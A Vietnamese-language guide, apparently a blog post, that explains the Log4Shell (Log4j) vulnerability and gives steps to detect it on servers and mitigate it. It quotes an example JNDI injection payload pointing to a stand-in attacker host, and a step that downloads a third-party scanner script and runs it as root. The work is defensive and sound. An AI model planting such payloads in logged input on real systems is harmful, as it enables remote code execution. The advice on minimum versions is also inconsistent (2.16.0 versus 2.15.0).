Lỗ hổng Log4j (Log4Shell) - Hướng dẫn kiểm tra Server bị tấn công bởi Log4j và cách phòng tránh

1. Lỗ hổng Log4J hoạt động như thế nào?

Theo những gì đã xảy ra, lỗ hổng log4j cho đến nay là một trong những lỗ hổng tồi tệ nhất trong vài năm qua, đạt điểm 10/10 hiếm hoi trên thang điểm CVSS và sẽ ám ảnh toàn bộ internet trong nhiều năm tới.

Điều tồi tệ hơn là log4j không phải là một ứng dụng — nó là một thư viện mã nguồn mở được nhiều ứng dụng khác sử dụng. Bạn có thể không cài đặt nó trực tiếp; nó có thể được bao gồm trong các tệp .jar khác hoặc được cài đặt bởi các ứng dụng khác như một dependency.

Về cơ bản, nó cho phép những kẻ tấn công gửi văn bản đến ứng dụng của bạn và nếu nó ghi lại văn bản này ở đâu đó, máy chủ của bạn sẽ thực thi mã độc. Định dạng của văn bản trông giống như ví dụ sau: một chuỗi cực kỳ đơn giản chứa một liên kết đến một địa chỉ từ xa.

${jndi:ldap://attacker.com/a}

Thành phần dễ bị tấn công trong log4j là Java Naming và Directory Interface, cho phép framework ghi nhật ký thực hiện các yêu cầu từ xa. Ngoại trừ nó cũng giải mã tệp tại điểm cuối và có thể tải các tệp .class có chứa mã độc điều khiển từ xa.

2. Server có dễ bị tấn công bằng lỗi Log4J không?

Lỗ hổng này nhanh chóng được vá trong bản phát hành mới nhất của log4j, 2.16.0, nhưng vấn đề vẫn chưa được khắc phục. Vì log4j là một dependency, nên việc tìm kiếm phiên bản cụ thể của nó trên hệ thống của bạn có thể không đơn giản. Và, vì Java rất phổ biến, nhiều công cụ và thành phần của bên thứ ba có thể sử dụng nó, vì vậy bạn thậm chí có thể không biết liệu mình có đang chạy phần mềm Java bị dính lỗ hổng trên máy của mình hay không.

Ngay cả khi bạn nghĩ rằng bạn không dễ bị tấn công, thì bạn vẫn cần phải kiểm tra lại. Lỗ hổng này ảnh hưởng đến nhiều hệ thống đến nỗi có khả năng bạn đang chạy log4j hoặc Java mà không nhận ra.

May mắn thay, các phiên bản JDK lớn hơn 6u211, 7u201, 8u191 và 11.0.1 không bị ảnh hưởng bởi vectơ tấn công chính (sử dụng LDAP) đang được khai thác nhiều nhất hiện tại. Bạn vẫn cần phải vá nó, vì nó cũng có thể dễ dàng được sử dụng với các vectơ tấn công khác. Ngoài ra, chỉ cần một hành động đơn giản là đưa ra yêu cầu tới một điểm cuối cũng có thể làm lộ dữ liệu về các máy trên mạng của bạn, điều này cũng không phải là một điều tốt.

Lỗ hổng này cũng cho bạn biết lý do quan trọng tại sao phải giữ Software Bill of Materials (SBOM), về cơ bản đó là danh sách tất cả phần mềm trên hệ thống của bạn, nguồn gốc xuất xứ và phần mềm được tạo ra từ đâu. Trong tương lai, những thông tin này có thể giúp bạn nhanh chóng vá các cuộc tấn công như thế này.

Hiện tại, bạn chỉ cần quan tâm đến việc quét hệ thống của mình để tìm các phiên bản log4j được phần mềm sử dụng và lập danh sách tất cả các thành phần dễ bị tấn công.

3. Cách kiểm tra Server có bị tấn công bởi Log4j (Log4Shell) hay không

Nhiều người đã tạo các tập lệnh để tự động quét hệ thống và tìm ra các bản cài đặt dễ bị tấn công, chẳng hạn như tập lệnh phổ biến này được viết bằng Python và tập lệnh này của công ty bảo mật LunaSec. Một trong những cách dễ sử dụng nhất là tập lệnh bash đơn giản này, nó có thể quét các gói của bạn và xác định các phiên bản log4j và cũng có thể cho bạn biết liệu hệ thống của bạn có đang sử dụng Java hay không. Trong hầu hết các trường hợp, bạn sẽ cần chạy nhiều lần quét với các tập lệnh khác nhau, vì không có gì đảm bảo rằng các tập lệnh này sẽ hiệu quả 100% trong việc xác định mọi hệ thống dễ bị tấn công.

Bạn có thể tải xuống và chạy nó bằng một vài lệnh. Bạn cũng cần chạy lệnh dưới quyền root để quét toàn bộ hệ thống của bạn.

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q

chmod +x log4j_checker_beta.sh

sudo ./log4j_checker_beta.sh

Kết quả từ tập lệnh này sẽ cho bạn biết tại sao lỗ hổng log4j này lại trở nên khủng khiếp — việc chạy tập lệnh này trên máy chủ cho thấy rằng nó rất dễ bị khai thác, mặc dù mình nghĩ rằng mình vẫn chưa cài đặt Java trên máy này vì mình không chạy bất kỳ phần mềm Java nào.

Elasticsearch đang chạy ở chế độ nền trên máy này, được viết bằng Java. Bạn không phải cài đặt Java theo cách thủ công để có Elasticsearch; nó bao gồm một phiên bản OpenJDK đi kèm. Và nó bị dính log4j nên rất dễ bị khai thác.

Để vá Elasticsearch, bạn cần cập nhật tất cả các gói và làm theo hướng dẫn giảm thiểu. Điều này có thể xảy ra đối với bất kỳ phần mềm nào bạn đang chạy; bạn sẽ cần cập nhật trực tiếp log4j, cập nhật phần mềm đi kèm với nó hoặc sửa lỗi bằng bất kỳ phương pháp giảm thiểu nào mà người khác đang sử dụng.

Nếu bạn không thể vá jar vì lý do nào đó, bạn có thể sử dụng cờ JVM này để giảm thiểu sự cố, điều này chỉ đơn giản là yêu cầu log4j không bao giờ thực hiện bất kỳ tra cứu nào khi định dạng thư. Tuy nhiên, cách này không được khuyến nghị và bạn nên cố gắng cài đặt log4j 2.16.0 ở bất cứ nơi nào có thể để khắc phục hoàn toàn sự cố.

-Dlog4j2.formatMsgNoLookups=true

4. Cách phòng tránh lỗi hổng Log4j (Log4Shell)

Upgrade Log4j lên phiên bản tối thiểu là 2.15.0 (phiên bản mới nhất tại thời điểm viết bài).

Nếu bạn sử dụng phiên bản từ 2.10 trở lên và không thể upgrade hãy:

Set thuộc tính:

 log4j2.formatMsgNoLookups=true

Hoặc set biến môi trường:

Ngoài ra, bạn có thể xoá luôn class chứa logic JNDILookup của Log4j theo câu lệnh sau:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Tổng kết

Cảm ơn bạn đã theo dõi, mong bài viết bên trên giúp bạn hiểu hơn về lỗ hổng bảo mật "Log4Shell" cũng như có cánh phòng tránh được những sự cố liên quan. Chúc các bạn thành công!